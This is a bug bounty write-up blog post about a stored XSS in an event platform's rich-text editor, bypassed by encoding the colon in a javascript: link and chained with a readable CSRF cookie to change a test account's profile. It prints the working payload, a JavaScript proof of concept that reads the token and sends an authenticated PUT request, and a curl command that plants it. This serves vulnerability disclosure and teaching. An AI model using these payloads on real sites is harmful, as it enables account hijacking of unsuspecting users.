September 19, 2026
How a Simple Stored XSS Turned Into an Account Action Chain
I was testing a community management platform where users could create events and add formatted content to their event pages.

By xAbraham
4 min read
I started by playing around with the rich-text editor.
A few minutes later, I had a stored XSS.
What made the finding interesting wasn't the popup itself. It was what happened after I started looking at the places where the same editor was being used.
Finding the XSS:
It started with a simple question:
"What happens if I put something weird into this rich-text editor?"
A few blocked payloads later, I found a stored XSS.
But the interesting part came after the popup.
I kept digging, found the same issue in multiple places, and eventually chained it with a CSRF-token exposure to perform an authenticated action on a test account.
Here's how it happened.
๐ Finding the XSS
The target was a community management platform that allowed users to create public events and customize their event pages using a rich-text editor.
Naturally, I started testing the editor.
My first payload was the usual:
<img src=x onerror=confirm(1)><img src=x onerror=confirm(1)>Blocked.
I tried a few variations.
Still blocked.
Then I tried a normal javascript: URL:
<a href="javascript:confirm(1)">VIEW EVENT</a><a href="javascript:confirm(1)">VIEW EVENT</a>Also blocked.
At this point, it looked like the application was doing a decent job filtering XSS.
But instead of trying completely different payloads, I started thinking about how the HTML was being parsed and decoded.
That's when I tried encoding the colon:
<a href="javascript:confirm('xss_71337')">
VIEW EVENT
</a><a href="javascript:confirm('xss_71337')">
VIEW EVENT
</a>This time, the payload was accepted.
I published the event and opened the public page.
Then I clicked the link.
Popup.
xss_71337xss_71337
๐ฏ Stored XSS confirmed.
๐ก The interesting part was that the filter blocked the obvious
javascript:representation, but the encoded version survived sanitization and was later interpreted by the browser.
๐ Looking for Other Injection Points
I didn't stop after finding the first vulnerable field.
The application was using a rich-text editor, and reusable components are always worth investigating.
So I started checking where else the same editor appeared.
I found the same behavior in:
- Event descriptions
- Community announcements
- Webinar descriptions
This suggested that the problem wasn't specific to one input.
It was likely a shared sanitization issue affecting the editor component.
The attack surface now looked like this:
Rich Text Editor
โ
Weak Sanitization
โ
โโโโโโโโโโโโโผโโโโโโโโโโโโ
โ โ โ
Events Announcements Webinars
โผโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโผ
Stored XSS Rich Text Editor
โ
Weak Sanitization
โ
โโโโโโโโโโโโโผโโโโโโโโโโโโ
โ โ โ
Events Announcements Webinars
โผโโโโโโโโโโโโโโผโโโโโโโโโโโโโโโโผ
Stored XSS๐ฅ But What Can the XSS Actually Do?
A confirm() popup proves JavaScript execution.
But that's not the question a security team really cares about.
The real question is:
What can an attacker do with JavaScript running inside the application's origin?
So I started testing with accounts that I controlled.
I found that the JavaScript could interact with authenticated functionality available to the logged-in user.
For example, I was able to demonstrate:
- Reading information available to the authenticated user
- Accessing data rendered inside authenticated pages
- Modifying profile information
- Changing the profile image (For safe demo)
- Sending authenticated
POST/PUTrequests - Triggering account actions
- Modifying other user-controlled settings
At this point, the finding was much more interesting than a simple popup.
But I noticed something else while looking at the application's requests.
๐ The CSRF Part
The application used CSRF protection for state-changing requests.
For this write-up, I'll call the relevant values:
Cookie:
APP_SESSION_CSRF
Header:
X-APP-CSRFCookie:
APP_SESSION_CSRF
Header:
X-APP-CSRFThe important detail was that the CSRF cookie wasn't marked HttpOnly.
That means JavaScript running on the page can access it through:
document.cookiedocument.cookieAnd that immediately made me think:
Can the XSS read the CSRF token and use it in an authenticated request?
So I tested it.
๐งฉ Chaining the Bugs
The chain was surprisingly simple:
Stored XSS
โ
JavaScript executes
โ
Read CSRF token
โ
Add token to request
โ
Authenticated request
โ
Account modification (POST,PUT,DELETE)Stored XSS
โ
JavaScript executes
โ
Read CSRF token
โ
Add token to request
โ
Authenticated request
โ
Account modification (POST,PUT,DELETE)The XSS provided JavaScript execution.
The non-HttpOnly CSRF cookie provided the token.
Together, they allowed me to demonstrate an authenticated state-changing action.
๐งช Building a Safe PoC
I wanted to demonstrate the impact without modifying anything important.
So I used a test account and changed its display name to:
XSS-TESTXSS-TESTThe simplified request looked like this:
const token =
document.cookie.match(/APP_SESSION_CSRF=([^;]+)/)?.[1] || '';
fetch('/api/v2/account/profile', {
method: 'PUT',
credentials: 'include',
headers: {
'X-APP-CSRF': token,
'Content-Type': 'application/json'
},
body: JSON.stringify({
displayName: 'XSS-TEST'
})
});const token =
document.cookie.match(/APP_SESSION_CSRF=([^;]+)/)?.[1] || '';
fetch('/api/v2/account/profile', {
method: 'PUT',
credentials: 'include',
headers: {
'X-APP-CSRF': token,
'Content-Type': 'application/json'
},
body: JSON.stringify({
displayName: 'XSS-TEST'
})
});curl -X PUT 'https://demo.example/api/v2/events/12345'
-H 'Content-Type: application/json'
-H 'Cookie: APP_SESSION=<TEST_SESSION>'
โ data-raw '{ "description": "<a href="javascript:const t=document.cookie.match(/APP_SESSION_CSRF=([^;]+)/)?.[1]||'''';fetch('''/api/v2/account/profile''',{method:'''PUT''',credentials:'''include''',headers:{'''X-APP-CSRF''':t,'''Content-Type''':'''application/json'''},body:JSON.stringify({displayName:'''XSS-TEST'''})})">VIEW EVENT" }'
๐ The Final Attack Chain
Putting everything together:
HTML Sanitization Bypass
โ
Stored XSS
โ
JavaScript Execution
โ
Read CSRF Token
โ
Authenticated API Request (POST,PUT,DELETE)
โ
Account ModificationHTML Sanitization Bypass
โ
Stored XSS
โ
JavaScript Execution
โ
Read CSRF Token
โ
Authenticated API Request (POST,PUT,DELETE)
โ
Account ModificationThe confirm() popup was only the proof that the first door was open.
The interesting part was finding what was behind that door.
Reporting Timeline
Day 0 โ Reported the Stored XSS + impact chain Day 1 โ Report acknowledged by the security team Day 10 โ Vulnerability fixed Day 25 โ After validation โ Bounty awarded ๐ฏ
Final Thoughts
This was my first bug bounty write-up, and probably one of the findings that taught me the most.
The initial discovery was tiny:
confirm('xss_71337')confirm('xss_71337')But instead of stopping there, I kept asking:
Where else does this work?
What can the JavaScript access?
What happens to authenticated requests?
That turned a simple popup into a much more interesting security chain.
And that's probably the biggest lesson I took from it:
When you find a vulnerability, don't just prove that it exists. Understand what it can become.
What's Next
More write-ups are coming soon. ๐
I'll be sharing a few more Critical & High-severity findings back-to-back, including the full methodology and impact.
Follow me on X: Exploit_000 More write-ups on Medium: @hackwithabraham
See you in the next one.